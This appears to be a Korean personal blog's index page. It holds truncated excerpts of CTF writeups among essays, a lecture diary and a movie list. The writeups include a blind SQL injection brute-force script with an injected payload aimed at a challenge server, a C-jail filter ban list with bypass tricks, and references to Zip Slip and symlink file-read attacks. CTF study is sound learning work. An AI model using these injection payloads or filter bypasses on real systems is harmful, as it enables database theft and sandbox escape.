LittleDev

평소 sqli 문제는 잘 못 풀었었는데 이제 어느정도 감 잡은 것 같다. blind sqli 코드 재활용을 위해 남긴다 from requests import * URL = 'http://54.180.124.188:8010/' for k in range(1): print('*'*10) s = [] for j in range(40): # print('asdf') start = 0 end = 255 for i in range(30): bs = (start + end) // 2 # print(bs, start, end) password = '12345678' username = f"' or (select case when ord(substr(s.column_name, {j+1}, 1)) >= {bs} then ..

2023.11.26 - Hspace CTF - H Drive tar 파일만을 업로드할 수 있고 압축한 파일들을 다운받을 수 있다. https://blog.bi0s.in/2020/06/07/Web/Defenit20-TarAnalyzer/ TarAnalyzer - 2020 Defenit CTF | bi0s tl;dr Zip Slip Vulnerability + YAML Deserialization Attack + Race Condition Unintended Solution: Upload symlink leading to arbitarary file reads Solved by: c3rb3ru5 Challenge Description Our developer built simple web server for..

2023.11.26 Hspace CTF - safe compiler BAN_LIST = ['sys', 'exe', 'asm', 'attr', 'mprotect', 'mmap', 'munmap', 'open', 'read', 'write', ';', 'include'] CTF C Jail semicolon & include filtered bypass 1. semicolon #include int main() { if(printf("Hello, World\n")) {} } if, while, switch 안에 표현식(expression) 을 넣어서 세미콜론 없이 코드를 작성할 수 있다. 2. include 헤더를 include 할 수 없어서 __asm__ 을 생각해볼 수 있는데 표현식이 아니라 statem..

우리는 빛이 물체에 부딪혀 반사되는 빛을 눈에 담고 이미지를 그린다. 빛이 없으면 깜깜하지만 더듬거리면서 형체를 희미하게나마 머릿속에 그려볼 수 있다. 우리는 살아가면서 이런 저런 생각을 하며 머릿속 자신만의 세계에 여기 저기 던져둔다. 내가 의식을 하고 있는 정보든 나도 모르는 새에 생긴 생각이든 어두운 세계 속에 자리하고 있다. 잘 살고 있는 와중에 누군가 "너는 왜 살아?" 라고 물을 때 마음 속으로는 아리까리한 기분이 들면서 "죽지 못해서", "그냥" 과 같은 말이 툭 튀어나오게 된다. 정말 그렇게 생각했든 말든 그게 진심일까? "그냥" 이라는 대답은 무언가 말로 표현하기 힘든 마치 암흑 속의 책상을 더듬거리면서 "무언가가 있는 것 같아" 라는 것과 비슷하다. 무의식 속, 자신의 세계 속 어디 구..

2023.10.30 월요일 1교시에 맞춰 6시 30분에 일어나서 후딱 나오니 예쁜 구름이 맞이했다. 학교 도서관 복도에 유현준 교수님이 오신다는 포스터가 붙어있길래 오늘을 기대하고 있었다. 3시에 삶과 죽음의 철학 수업이 있지만 살면서 언제 직접 볼지 모르는 유현준 교수님 강의를 들으러 가기로 했다. 도서관 가는 길에 새소리가 크게 들리길래 두리번 거리다가 발견한 통통한 새도 찍어준다 30분 정도 일찍 오니 앉을 수 있는 자리가 많았다. 2시가 되고 유현준 교수님 등장 사진에 보다시피 해당 장소에 자료를 띄울 수 있는 기기가 없어서 오직 입담으로만 한 시간을 채우셨다. 이야기의 주제는 교수님께서 새로 내신 '유현준의 인문 건축 기행' 책 이다. 인문기행 책은 세계의 100개 건축물 중 33개씩 시리즈로 ..

문제다 문제를 마주한 인간 떠오른 해결 이론 문제 해결 문제를 보여준다 처음 문제를 마주했던 사람과 비슷한 부분에서 막힌다 문제가 이론으로 해결되는 것을 보여준다 이론을 알려준다 이론을 보여준다 문제 수백개를 해결하게 한다 시험을 본다 다음 이론을 보여준다 까먹는다 . 확실히 문제다

There are only two functions. In start read 400 bytes then check in 4 byte increments. Move 4 byte to eax, and ecx is index of loop. Then jump to some address by ecx and address table. The length of the table is 100. Each address have long-long codes and at last they jump to compare code. I copy the 100 parts code and make python code to parse it. yeah it is terrible code but work. :D And write ..

1. easy_revimport Data.Bits (xor) import Data.Word (Word8) main :: IO () main = do let v1 = "Hacker_space" v2 putStrLn v3 Right v3 -> f2 v1 v3 f1 :: String -> Either String [Word8] f1 a1 = do let v1 = map (fromIntegral . fromEnum) a1 if length v1 == 43 then Right v1 else Left "Nah." f2 :: String -> [Word8] -> IO () f2 a1 a2 = do let v1 = [18, 22, 16, 34, 14, 19, 36, 32, 5, 8, 26, 3, 9, 23, 2, 41..

수능 끝나고부터 본 영화 1. 놈이 우리 안에 있다 - 2022.11.23 / CGV 2. 라라랜드 - 집 3. 인생은 아름다워 - CGV 4. 헤어질 결심 - 신촌 메가박스 5. 올빼미 - 부평 CGV 6. 스트레인지 월드 - 부평 CGV 7. 그래비티 - 2022.11.08 / 용산 IMAX 8. 패왕별희 - 신촌 메가박스 9. Everyone Everywhere all at once - 계양 CGV 10. 영웅 11. 바빌론 - 부평 CGV 12. 타이타닉 - 부평 CGV 13. 스즈메의 문단속 - 부평 CGV 14. 소울 - 집 14.5 겟아웃 - 집 15. 미드소마 - 집 16. 엘리멘탈 - 부평 CGV 17. 오펜하이머 - 계양 CGV 18. 인셉션 - 집 19. 올드보이 - 건대 롯데시네마 ..

Build docker with given files and run. Then localhost:8080 will be opened. It is Unity WebGL! Let's press the Play Button. There are some monsters, secret chest, boss, annnnnd boss chest. First I want to open the chest arounded with the fence. To open the chest we need to change Player's X value. Open the devtools then some logs are listed. They give the hint about player position. go to js code..